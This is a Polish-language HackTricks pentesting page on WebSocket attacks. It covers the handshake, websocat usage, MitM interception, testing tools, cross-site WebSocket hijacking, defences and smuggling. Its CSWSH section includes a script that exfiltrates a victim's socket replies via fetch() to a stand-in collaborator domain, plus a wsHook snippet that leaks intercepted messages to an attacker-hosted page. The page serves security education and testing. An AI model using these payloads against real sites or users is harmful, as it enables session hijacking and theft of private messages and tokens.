hacktricks/src/pentesting-web/websocket-attacks.md

190 lines
14 KiB
Markdown

# Ataki WebSocket
{{#include ../banners/hacktricks-training.md}}
## Czym są WebSockety
Połączenia WebSocket są nawiązywane poprzez początkowe **HTTP** handshake i są zaprojektowane do bycia **długoterminowymi**, co pozwala na dwukierunkowe przesyłanie wiadomości w dowolnym momencie bez potrzeby systemu transakcyjnego. To sprawia, że WebSockety są szczególnie korzystne dla aplikacji wymagających **niskiej latencji lub komunikacji inicjowanej przez serwer**, takich jak strumienie danych finansowych na żywo.
### Nawiązywanie Połączeń WebSocket
Szczegółowe wyjaśnienie nawiązywania połączeń WebSocket można znaleźć [**tutaj**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Podsumowując, połączenia WebSocket są zazwyczaj inicjowane za pomocą JavaScript po stronie klienta, jak pokazano poniżej:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
Protokół `wss` oznacza połączenie WebSocket zabezpieczone **TLS**, podczas gdy `ws` wskazuje na **niezabezpieczone** połączenie.
Podczas nawiązywania połączenia wykonywane jest uzgadnianie między przeglądarką a serwerem za pomocą HTTP. Proces uzgadniania polega na tym, że przeglądarka wysyła żądanie, a serwer odpowiada, co ilustrują poniższe przykłady:
Przeglądarka wysyła żądanie uzgadniania:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Odpowiedź handshake serwera:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Po nawiązaniu połączenia pozostaje ono otwarte do wymiany wiadomości w obu kierunkach.
**Kluczowe punkty handshake WebSocket:**
- Nagłówki `Connection` i `Upgrade` sygnalizują rozpoczęcie handshake WebSocket.
- Nagłówek `Sec-WebSocket-Version` wskazuje pożądaną wersję protokołu WebSocket, zazwyczaj `13`.
- W nagłówku `Sec-WebSocket-Key` wysyłana jest losowa wartość zakodowana w Base64, co zapewnia, że każdy handshake jest unikalny, co pomaga zapobiegać problemom z proxy pamięci podręcznej. Ta wartość nie służy do uwierzytelniania, ale do potwierdzenia, że odpowiedź nie jest generowana przez źle skonfigurowany serwer lub pamięć podręczną.
- Nagłówek `Sec-WebSocket-Accept` w odpowiedzi serwera jest hashem `Sec-WebSocket-Key`, weryfikującym zamiar serwera do otwarcia połączenia WebSocket.
Te funkcje zapewniają, że proces handshake jest bezpieczny i niezawodny, torując drogę do efektywnej komunikacji w czasie rzeczywistym.
### Konsola Linux
Możesz użyć `websocat`, aby nawiązać surowe połączenie z websocketem.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Lub aby utworzyć serwer websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
Jeśli odkryjesz, że klienci są połączeni z **HTTP websocket** z twojej bieżącej lokalnej sieci, możesz spróbować ataku [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing), aby przeprowadzić atak MitM między klientem a serwerem.\
Gdy klient próbuje się połączyć, możesz wtedy użyć:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
Możesz użyć **narzędzia** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **do automatycznego odkrywania, identyfikacji i wyszukiwania znanych** **vulnerabilities** w websockets.
### Websocket Debug tools
- **Burp Suite** obsługuje komunikację MitM w websockets w bardzo podobny sposób, jak robi to dla zwykłej komunikacji HTTP.
- Rozszerzenie [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite** pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, uzyskując **historię**, ustawiając **reguły przechwytywania**, używając reguł **match and replace**, korzystając z **Intruder** i **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skrót od "**WebSocket/Socket.io Proxy**", to narzędzie, napisane w Node.js, zapewnia interfejs użytkownika do **przechwytywania, przechwytywania, wysyłania niestandardowych** wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
- [**wsrepl**](https://github.com/doyensec/wsrepl) to **interaktywny websocket REPL** zaprojektowany specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania **przychodzących wiadomości websocket i wysyłania nowych**, z łatwym w użyciu frameworkiem do **automatyzacji** tej komunikacji.
- [**https://websocketking.com/**](https://websocketking.com/) to **strona do komunikacji** z innymi stronami za pomocą **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) wśród innych typów komunikacji/protokółów, zapewnia **stronę do komunikacji** z innymi stronami za pomocą **websockets.**
## Decrypting Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Websocket Lab
W [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) masz kod do uruchomienia strony używającej websockets, a w [**tym poście**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) znajdziesz wyjaśnienie.
## Websocket Fuzzing
Rozszerzenie burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) teraz pozwala również na fuzzing wiadomości WebSocket. Możesz przeczytać więcej informacji na ten temat [**tutaj**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, znane również jako **cross-origin WebSocket hijacking**, jest identyfikowane jako specyficzny przypadek **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wpływający na handshake WebSocket. Ta luka występuje, gdy handshake WebSocket autoryzuje wyłącznie za pomocą **ciasteczek HTTP** bez **tokenów CSRF** lub podobnych środków bezpieczeństwa.
Napastnicy mogą to wykorzystać, hostując **złośliwą stronę internetową**, która inicjuje połączenie WebSocket między witrynami do podatnej aplikacji. W konsekwencji to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.
Aby ten atak zadziałał, muszą być spełnione następujące wymagania:
- **autoryzacja websocket musi być oparta na ciasteczkach**
- ciasteczko musi być dostępne z serwera napastnika (zwykle oznacza to **`SameSite=None`**) i nie może być włączona **Firefox Total Cookie Protection** w Firefoxie oraz nie mogą być **blokowane ciasteczka stron trzecich** w Chrome.
- serwer websocket nie może sprawdzać pochodzenia połączenia (lub to musi być możliwe do ominięcia)
Również:
- Jeśli autoryzacja opiera się na lokalnym połączeniu (do localhost lub do lokalnej sieci), atak **będzie możliwy**, ponieważ obecne zabezpieczenia tego nie zabraniają (sprawdź [więcej informacji tutaj](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
Zauważ, że podczas **nawiązywania** połączenia **websocket** **ciasteczko** jest **wysyłane** do serwera. **Serwer** może go używać do **powiązania** każdego **konkretnego** **użytkownika** z jego **sesją websocket** na podstawie wysłanego ciasteczka.
Jeśli na przykład **serwer websocket** **wysyła z powrotem historię rozmowy** użytkownika, gdy wysyłana jest wiadomość z "**READY"**, to **prosty XSS** nawiązujący połączenie (**ciasteczko** zostanie **wysłane** **automatycznie** w celu autoryzacji użytkownika ofiary) **wysyłając** "**READY**" będzie w stanie **odzyskać** historię **rozmowy**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
W tym wpisie na blogu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) atakujący zdołał **wykonać dowolny Javascript w subdomenie** domeny, w której odbywała się komunikacja przez web socket. Ponieważ była to **subdomena**, **ciasteczko** było **wysyłane**, a ponieważ **Websocket nie sprawdzał poprawnie Origin**, możliwe było komunikowanie się z nim i **kradzież tokenów**.
### Stealing data from user
Skopiuj aplikację webową, którą chcesz naśladować (na przykład pliki .html) i wewnątrz skryptu, w którym odbywa się komunikacja przez websocket, dodaj ten kod:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
```
Teraz pobierz plik `wsHook.js` z [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **zapisz go w folderze z plikami webowymi**.\
Ekspozycja aplikacji webowej i zmuszenie użytkownika do połączenia się z nią pozwoli ci ukraść wysyłane i odbierane wiadomości za pomocą websocket:
```javascript
sudo python3 -m http.server 80
```
### Ochrony CSWSH
Atak CSWSH opiera się na fakcie, że **użytkownik połączy się z złośliwą stroną**, która **otworzy połączenie websocket** do strony internetowej, na której użytkownik jest już zalogowany i uwierzytelni się jako on, ponieważ żądanie wyśle ciasteczka użytkownika.
Obecnie bardzo łatwo jest zapobiec temu problemowi:
- **Serwer websocket sprawdzający pochodzenie**: Serwer websocket powinien zawsze sprawdzać, skąd użytkownik się łączy, aby zapobiec nieoczekiwanym stronom łączącym się z nim.
- **Token uwierzytelniający**: Zamiast opierać uwierzytelnienie na ciasteczku, połączenie websocket mogłoby być oparte na tokenie generowanym przez serwer dla użytkownika, który jest nieznany atakującemu (jak token anty-CSRF).
- **Atrybut ciasteczka SameSite**: Ciasteczka z wartością `SameSite` jako `Lax` lub `Strict` nie będą wysyłane z zewnętrznej strony atakującego do serwera ofiary, dlatego uwierzytelnienie oparte na ciasteczkach nie będzie skuteczne. Należy zauważyć, że Chrome teraz ustawia wartość **`Lax`** dla ciasteczek bez tego flagi, co czyni to bardziej bezpiecznym domyślnie. Chociaż przez pierwsze 2 minuty po utworzeniu ciasteczka będzie miało wartość **`None`**, co czyni je podatnym w tym ograniczonym okresie czasu (oczekuje się również, że ten środek zostanie w pewnym momencie usunięty).
- **Całkowita ochrona ciasteczek w Firefoxie**: Całkowita ochrona ciasteczek działa poprzez izolowanie ciasteczek do strony, na której zostały utworzone. W zasadzie każda strona ma swoją własną partycję przechowywania ciasteczek, aby zapobiec łączeniu historii przeglądania użytkownika przez osoby trzecie. To sprawia, że **CSWSH jest nieużyteczne**, ponieważ strona atakującego nie będzie miała dostępu do ciasteczek.
- **Blokada ciasteczek stron trzecich w Chrome**: To również może zapobiec wysyłaniu ciasteczka uwierzytelnionego użytkownika do serwera websocket, nawet przy `SameSite=None`.
## Warunki wyścigu
Warunki wyścigu w WebSocketach to również problem, [sprawdź te informacje, aby dowiedzieć się więcej](race-condition.md#rc-in-websockets).
## Inne podatności
Ponieważ WebSockety są mechanizmem do **wysyłania danych do strony serwera i klienta**, w zależności od tego, jak serwer i klient obsługują informacje, **WebSockety mogą być używane do wykorzystywania kilku innych podatności, takich jak XSS, SQLi lub jakiekolwiek inne powszechne podatności webowe, wykorzystując dane wejściowe użytkownika z websocketu.**
## **Przemyt WebSocketów**
Ta podatność może pozwolić na **obejście ograniczeń reverse proxy**, sprawiając, że uwierzą, że **komunikacja websocket została nawiązana** (nawet jeśli to nieprawda). To może pozwolić atakującemu na **dostęp do ukrytych punktów końcowych**. Aby uzyskać więcej informacji, sprawdź następującą stronę:
{{#ref}}
h2c-smuggling.md
{{#endref}}
## Odniesienia
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
{{#include ../banners/hacktricks-training.md}}